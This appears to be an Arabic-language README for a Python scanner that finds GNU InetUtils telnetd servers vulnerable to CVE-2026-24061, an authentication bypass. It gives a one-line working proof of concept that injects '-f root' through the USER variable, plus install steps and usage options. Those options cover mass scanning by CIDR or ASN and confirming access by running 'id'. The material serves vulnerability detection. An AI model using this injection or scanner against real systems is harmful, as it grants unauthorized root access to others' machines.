
CVE-2026-24061 - تجاوز المصادقة عن بُعد في GNU InetUtils Telnetd
ماسح قوي وسريع وأنيق لاكتشاف خدمات Telnetd الضعيفة المتأثرة بـ CVE-2026-24061. مبني باستخدام مكتبة Python القياسية النقية - بدون أي تبعيات خارجية.
CVE-2026-24061 هي ثغرة حرجة في تجاوز المصادقة في GNU InetUtils Telnetd تسمح للمهاجمين عن بُعد دون مصادقة بالحصول على وصول الجذر من خلال استغلال معالجة خيار NEW-ENVIRON.
فيما يلي تكوين خدمة Telnetd على جانب المضيف الهدف.
وإليك إثبات المفهوم (PoC) لهذه الثغرة، والذي يمكن تنفيذه يدويًا من مضيف المهاجم ببساطة عن طريق تشغيل الأمر USER="-f root" telnet -a <TARGET_HOST> 23.
تستغل الثغرة التحقق غير السليم من متغير البيئة USER في مفاوضات خيار NEW-ENVIRON (RFC 1572) في telnet، مما يسمح للمهاجمين بحقن قيم خبيثة مثل -f root لتجاوز المصادقة.
9.8 (حرجة) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner
# Make Executable
sudo chmod +x twenty-three-scanner.py
# Run the Script
sudo python3 twenty-three-scanner.py -h
فيما يلي دليل لأداة Twenty-Three Scanner التي يمكن استخدامها لاكتشاف الثغرة CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass.
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
[--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]
CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass
options:
-h, --help show this help message and exit
Target Options:
-t TARGET, --target TARGET
target IP, CIDR, or comma-separated list (can be used multiple times)
-f FILE, --file FILE file containing targets (one per line, supports comments with #)
-a ASN, --asn ASN autonomous system number (e.g., AS10111 or 10111)
Scan Options:
-p PORT, --port PORT target port(s), comma-separated (default: 23)
--threads N number of concurrent threads (default: 50)
--user-value VALUE USER environment variable value for exploit (default: '-f root')
Timeout Options:
--connect-timeout SEC
TCP connection timeout in seconds (default: 3.0)
--read-timeout SEC socket read timeout in seconds (default: 2.0)
--id-timeout SEC 'id' command response timeout in seconds (default: 2.0)
Limit Options:
--max-hosts-per-cidr N
maximum hosts to scan per CIDR block (default: 1024)
--max-total-hosts N maximum total hosts across all targets (default: 50000)
--skip-large-networks
skip networks larger than /16 (avoids accidentally scanning huge ranges)
Output Options:
-o FILE, --output FILE
save vulnerable hosts to file (format: IP:PORT)
-v, --verbose enable verbose debug logging